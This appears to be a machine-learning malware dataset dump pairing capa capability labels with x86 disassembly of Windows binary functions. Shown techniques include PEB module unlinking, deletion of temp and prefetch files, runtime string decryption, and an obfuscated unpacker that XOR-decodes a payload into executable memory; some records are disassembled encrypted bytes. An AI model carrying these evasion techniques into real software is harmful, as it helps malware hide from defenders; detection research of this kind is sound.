joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ada0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001f0f0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1002b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov ecx, 0xa3
xor eax, eax
mov dl, byte [eax + 0x100258c4]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], dl
jns 0x1000adf1
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1d
jl 0x1000add4
mov byte [ebp - 0x13], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x1015e494]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x30]
push edx
call eax
test eax, eax
setne al
mov dword [ebp - 4], 0xffffffff
test al, al
je 0x1000ae5d
mov edi, 0x101971f8
lea esi, [ebp - 0x30]
call fcn.1001a180
mov dword [ebp - 4], 1
mov ecx, dword [0x1015e494]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x28]
call eax
push 0
lea esi, [ebx + eax]
call fcn.10009e10
mov edi, eax
mov eax, esi
mov ebx, 0x44
call fcn.10009d90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001d045
mov esp, ebp
pop ebp
ret

Function at 0x1000ae80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e018
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1002b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0xeb
xor eax, eax
nop
mov dl, byte [eax + 0x10025140]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], dl
jns 0x1000aecd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1c
jl 0x1000aeb0
mov byte [ebp - 0x14], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x1015e494]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x30]
push edx
call eax
add eax, dword [0x1015e490]
xor ecx, ecx
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x14], cl
push edi
mov ecx, esi
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001d045
mov esp, ebp
pop ebp
ret
Function at 0x1000b060
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001f0b8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1002b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x31
xor eax, eax
mov bl, byte [eax + 0x10025914]
xor bl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], bl
jns 0x1000b0b0
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1d
jl 0x1000b093
mov byte [ebp - 0x13], dl
mov dword [ebp - 4], edx
mov ecx, dword [0x1015e494]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x30]
push edx
call eax
push 2
lea ebx, [esi + eax]
call fcn.10009e10
mov edi, eax
mov eax, ebx
mov ebx, 0xe
call fcn.10009d90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001d045
mov esp, ebp
pop ebp
ret

Function at 0x1000b100
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001df88
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1002b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x31
xor eax, eax
nop
mov dl, byte [eax + 0x10025934]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x1000b14d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1b
jl 0x1000b130
mov byte [ebp - 0x11], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x1015e494]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x2c]
push edx
call eax
mov ecx, dword [ebp + 8]
mov eax, dword [eax + ecx + 0xc]
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001d045
mov esp, ebp
pop ebp
ret 4
Function at 0x10013f90
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x10013fc9
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10013fcd
cmp edx, esi
jne 0x10013fb2
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x10013fed
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10013ff1
cmp edx, esi
jne 0x10013fd6
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x10014011
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10014015
cmp edx, esi
jne 0x10013ffa
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10016430
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x1002b018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.MSVCR100.dll_sprintf]
push edi
push esi
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x108]
push ecx
mov dword [ebp - 0x110], 0x2a5c7325
mov word [ebp - 0x10c], 0x2a2e
mov byte [ebp - 0x10a], 0
call ebx
add esp, 0xc
lea edx, [ebp - 0x250]
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
nop
lea ecx, [ebp - 0x224]
push ecx
push esi
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x108]
push eax
mov dword [ebp - 0x110], 0x255c7325
mov word [ebp - 0x10c], 0x73
call ebx
add esp, 0x10
xor eax, eax
lea ecx, [ebp - 0x108]
push ecx
mov dword [ebp - 0x110], eax
mov word [ebp - 0x10c], ax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x250]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10016490
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1001d045
mov esp, ebp
pop ebp
ret

Function at 0x10016510
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x1002b018]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x1001659d
push 0x1015df20
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, 0x1015df20
call fcn.10016430
mov esi, str.C:Windowsprefetch
call fcn.10016430
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0x10], 0x742e4d47
mov word [esp + 0x14], 0x7478
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
push edi
mov dword [esp + 0x10], eax
mov word [esp + 0x14], ax
mov byte [esp + 0x16], al
call fcn.10013f90
add esp, 4
call fcn.1001ce00
mov ecx, eax
call fcn.1001cd40
mov ecx, dword [esp + 0x14]
pop edi
pop esi
xor ecx, esp
mov eax, 1
call fcn.1001d045
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10018440
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001f518
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1002b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x44], 0
je 0x10018598
cmp byte [edi + 0x49], 0
je 0x10018598
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, edi
call edx
cmp eax, 0xffffffff
je 0x1001858c
lea esi, [ebp - 0x2c]
call fcn.10018130
mov dword [ebp - 4], 0
mov ebx, 0x10
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
cmp eax, ebx
jae 0x100184eb
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
lea eax, [edi + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x100184f0
dec eax
je 0x100184f4
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x10018593
call fcn.100013c0
xor al, al
jmp 0x1001859a
mov eax, dword [ebp - 0x2c]
jmp 0x100184b5
mov byte [edi + 0x49], 0
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
mov eax, edx
cmp ecx, ebx
jae 0x10018503
lea eax, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, eax
je 0x10018528
mov eax, edx
cmp ecx, ebx
jae 0x10018513
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x10018584
cmp byte [edi + 0x49], 0
je 0x10018590
test esi, esi
jne 0x100184a6
mov eax, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, eax
cmp edx, 8
jbe 0x100185b5
lea esi, [eax + 8]
lea eax, [ebp - 0x2c]
call fcn.10001640
test al, al
je 0x100184a6
mov ecx, dword [ebp - 0x2c]
cmp dword [ebp - 0x18], ebx
jae 0x10018561
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x18], ebx
jae 0x1001857b
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x100184a6
lea esi, [ebp - 0x2c]
call fcn.100013c0
xor al, al
jmp 0x1001859a
lea esi, [ebp - 0x2c]
call fcn.100013c0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001d045
mov esp, ebp
pop ebp
ret
push 0x10022a14
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3

Function at 0x100196e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0xf1
xor ecx, ecx
jmp 0x100196f0
mov al, byte [edi + ecx - 0x210f19]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001970d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x100196f0
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x10019db0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x10019dc0
mov al, byte [edi + ecx - 0x321a2a]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10019ddd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0x26
jl 0x10019dc0
mov byte [esi + 0x26], 0
mov eax, esi
ret

Function at 0x10019df0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x10019e00
mov al, byte [edi + ecx - 0x321a2a]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10019e1d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0x20
jl 0x10019e00
mov byte [esi + 0x20], 0
mov eax, esi
ret

Function at 0x1001a3f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x29
xor ecx, ecx
jmp 0x1001a400
mov al, byte [edi + ecx + 0x1e7b41dd]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001a41d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001a400
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001a430
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x6c
xor ecx, ecx
jmp 0x1001a440
mov al, byte [edi + ecx + 0x6fad512a]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001a45d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001a440
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001a470
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x49
xor ecx, ecx
jmp 0x1001a480
mov al, byte [edi + ecx + 0x16440e0f]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001a49d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001a480
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001ac10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0xfa
xor ecx, ecx
jmp 0x1001ac20
mov al, byte [edi + ecx - 0x2b3158]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001ac3d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001ac20
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001ae90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x1f
xor ecx, ecx
jmp 0x1001aea0
mov al, byte [edi + ecx - 0x97d5a03]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001aebd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001aea0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001b340
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x1d
xor ecx, ecx
jmp 0x1001b350
mov al, byte [edi + ecx - 0x1a1d45]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001b36d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001b350
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x1001c720
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001f778
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x1002b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x1001c783
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.1001c4e0
mov ecx, esi
call fcn.1001c590
mov ecx, edi
mov ebx, esi
call fcn.1001c670
cmp dword [ebp + 0x1c], 0x10
jb 0x1001c7b2
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001d045
mov esp, ebp
pop ebp
ret
Function at 0x1001cab0
Capabilities:
Access peb ldr_data
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001efa8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1002b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
xor edx, edx
mov ecx, 0x49
xor eax, eax
lea esp, [esp]
mov bl, byte [eax + 0x1002633c]
xor bl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x20], bl
jns 0x1001cb0d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1001caf0
mov byte [ebp - 0x14], dl
mov dword [ebp - 4], edx
mov dword [ebp - 0x2c], edx
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
mov dword [ebp - 0x2c], ebx
mov edx, dword [ebp - 0x2c]
lea ecx, [ebp - 0x20]
push ecx
push edx
call fcn.1001c870
add esp, 8
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], 0xffffffff
push dword [ebp - 0x30]
call dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1001cb61
xor eax, eax
jmp 0x1001cb98
push esi
push eax
call fcn.1001c870
add esp, 8
mov dword [ebp - 0x34], eax
test eax, eax
je 0x1001cb5d
test edi, edi
jle 0x1001cb8f
lea eax, [ebp + 0xc]
mov ecx, edi
jmp 0x1001cb80
mov edx, dword [eax + 4]
add eax, 4
mov dword [ebp - 0x30], edx
push dword [ebp - 0x30]
dec ecx
jne 0x1001cb80
call dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001d045
mov esp, ebp
pop ebp
ret

Function at 0x1001d045
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002b018]
jne 0x1001d04f
repz ret
jmp fcn.1001d50d
Function at 0x10001053
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10778140]
jne 0x1000105d
repz ret
jmp fcn.100012df

Function at 0x10005feb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10778140]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10001a36
and dword [ebp - 0x14], 0
cmp dword [0x1077bacc], 0
mov dword [ebp - 0x18], eax
jne 0x1000609e
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10006146
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10006146
mov esi, dword [sym.imp.kernel32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1077bacc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1077bad0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1077bad4], eax
call edi
push eax
call esi
mov dword [0x1077badc], eax
test eax, eax
je 0x1000609e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1077bad8], eax
mov eax, dword [0x1077bad8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.kernel32.dll_DecodePointer]
cmp eax, ecx
je 0x100060f7
cmp dword [0x1077badc], ecx
je 0x100060f7
push eax
call esi
push dword [0x1077badc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x100060f7
test ebx, ebx
je 0x100060f7
call edi
test eax, eax
je 0x100060ee
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x100060ee
test byte [ebp - 8], 1
jne 0x100060f7
or dword [ebp + 0x10], 0x200000
jmp 0x1000612a
mov eax, dword [0x1077bad0]
cmp eax, dword [ebp - 0x18]
je 0x1000612a
push eax
call esi
test eax, eax
je 0x1000612a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000612a
mov eax, dword [0x1077bad4]
cmp eax, dword [ebp - 0x18]
je 0x1000612a
push eax
call esi
test eax, eax
je 0x1000612a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1077bacc]
call esi
test eax, eax
je 0x10006146
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10006148
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001053
leave
ret
Function at 0x1004f1e0
Capabilities:
Encode data using xor

Disassembly:
out 0xdf, al
sub al, 0xc9
ret 0x3e18
jne 0x1004f056
pushal
or al, 0xad
push ebp
wait
dec ecx
out dx, eax
and eax, 0x3dfb278b
arpl word [ebp + 0x26573a29], sp
push es
jns 0x1004f179
sbb esi, ebx
inc esp
xchg ebp, eax
jecxz 0x1004f0c8
jbe 0x1004f162
ret 0xd30a
fisttp word [eax - 0x39263c16]
aaa
xlatb
leave
sbb al, 0xa9
xchg esi, eax
jnp 0x1004f184
les ebp, [ebp + 0x6b3e655d]
or dword [esi], edi
arpl word [ebp + 0x558f3e48], cx
push ebp
xor ebp, dword [edx]
jo 0x1004f19f
sbb cl, byte [ebx + 0x2c53dffa]
mov edi, edx
fist word [ebx + 0x2c]
imul eax, dword [eax + esi*8 - 0x7f7fb51b], 0xffffff9c
push 0x621eeb6d
sub bl, byte [edi + 0x64]
jne 0x1004f204
fisttp word [edi + 2]
cmp eax, 0xcd8a0433
pop ebx
retf
inc edx
xchg byte [ebp - 0x20], ch
mov esp, 0xa3cc374f
daa
mov byte [esi], ah
lcall 0x5ffa, 0x5b8c5420
or al, 0xb6
jno 0x1004f254
dec ebp
push eax
xor esp, ebp
in eax, 0x8a
lea ebp, [ebp - 0xa81d18f]
sub cl, byte [0x8d1d2186]
mov edi, 0xdde3ca
out dx, eax
xor ecx, dword [ebp + 0x6d1838c4]
mov eax, 0xbff4e475
inc ebp
inc esi
xlatb
adc dword [edx - 0x2f7d68e4], 0x57
sbb al, 0x97
adc al, 0x57
pop es
pushal
inc esp
inc edx
pop ss
invalid
invalid

Function at 0x10050570
Capabilities:
Encode data using xor

Disassembly:
movsb byte es:[edi], byte [esi]
pop edx
mov al, byte [0x3b1f4bd1]
pop ds
inc edx
leave
push eax
push 0x1f
add al, 0x28
cmpsb byte [esi], byte es:[edi]
push es
in al, dx
xchg esp, eax
xor ch, byte [ecx]
sub dword [eax], edi
and bh, byte [edi - 0x52]
sub dword [eax], edi
and bh, byte [edi - 0x52]
push ss
xor eax, 0x40a77fd5
scasd eax, dword es:[edi]
inc edx
shl dword [ebx - 0xf], 0x71
push ds
ror byte [ecx], 0x37
in al, dx
pop ds
xchg edx, eax
xchg edx, eax
dec esp
sbb eax, 0xe6d49bfb
mov word [ebp + ecx*2 + 0x50], es
or ecx, eax
aas
push ebx
mov ebp, 0xc3b0c0dc
daa
div cl
int1
insd dword es:[edi], dx
leave
leave
inc edi
or ecx, dword [edi]
and byte [ebx - 0x1cefa132], dh
arpl si, sp
xchg byte [0x506791f8], bh
xor byte cs:[ecx], bh
pop ecx
xchg esp, eax
jne 0x1005055c
mov dh, al
mov byte [0x3d3d5b74], al
xchg ebx, eax
push edi
fist word [eax]
dec edx
add eax, 0x5bbce215
lodsb al, byte [esi]
invalid
invalid

Function at 0x100517c0
Capabilities:
Encode data using xor

Disassembly:
loop 0x1005183f
or dl, byte [ebx - 0x2faafecc]
or dword [eax], ecx
mov eax, dword [0xb28cdfd4]
scasd eax, dword es:[edi]
cmp edi, 0xffffffd9
stosb byte es:[edi], al
outsd dx, dword [esi]
xor cl, bl
hlt
adc ah, byte [ecx + ebx*8 + 0x170eaaa8]
push ebx
rcr byte [edi + 5], cl
sub eax, 0x88c2686a
push ebx
dec eax
sbb eax, 0x1dc6c029
nop
pop esp
add al, 0xa3
or edx, dword [eax]
fild qword [edi]
xor dl, ch
sub edi, ecx
adc dword [ebx - 0x685ba7d1], edx
xlatb
test al, 6
cmp byte [eax], bl
inc esi
sbb byte [esi + 0x620e3eae], cl
invalid
Function at 0x10004294
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100042a3
pop dword [ebp - 0x10]
mov eax, 0x100042a3
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x98ac8cbe
add dword [ebp - 0x20], 0xb5a5b88d
mov dword [ebp - 0x1c], 0x78b41645
add dword [ebp - 0x1c], 0xb97f3600
mov dword [ebp - 0x18], 0x889aa49a
sub dword [ebp - 0x18], 0x3c4e606c
mov dword [ebp - 0x14], 0xf9589c19
sub dword [ebp - 0x14], 0xf9589c19
lea eax, [ebp - 0x20]
push eax
mov eax, 0x56de0d3f
add eax, 0xb923c3c9
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xeb681abc
add dword [ebp - 0x20], 0x890a4e9a
mov dword [ebp - 0x1c], 0x5da81822
add dword [ebp - 0x1c], 0xe3c44953
mov dword [ebp - 0x18], 0xc36838a7
add dword [ebp - 0x18], 0xa00733c5
mov dword [ebp - 0x14], 0x8509542a
add dword [ebp - 0x14], 0x7af6abd6
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x38922
push 0
call eax
mov ecx, 0x3fc3
xor edx, edx
add edx, eax
mov edi, 0xc5d49bc0
sub edi, 0xb5d14bc0
add edi, dword [ebp - 0x10]
mov esi, 0x4539cdd2
sub esi, 0x9f4e380a
mov ebx, dword [edi]
add dword [ebp - 4], edi
xor ebx, esi
sub dword [ebp - 0xc], 0xa1863d73
mov dword [edx], ebx
xor dword [ebp - 0xc], 0x6793d66b
add edx, 4
add edi, 0x425a5d31
sub edi, 0x425a5d2d
loop 0x100043b7
add eax, 0x503cea22
sub eax, 0x503bf843
mov ebx, eax
add eax, 0xed599060
sub eax, 0xed59905b
mov ecx, 0x827b86ff
sub ecx, 0x727b86ff
add ecx, dword [ebp - 0x10]
call ebx
leave
ret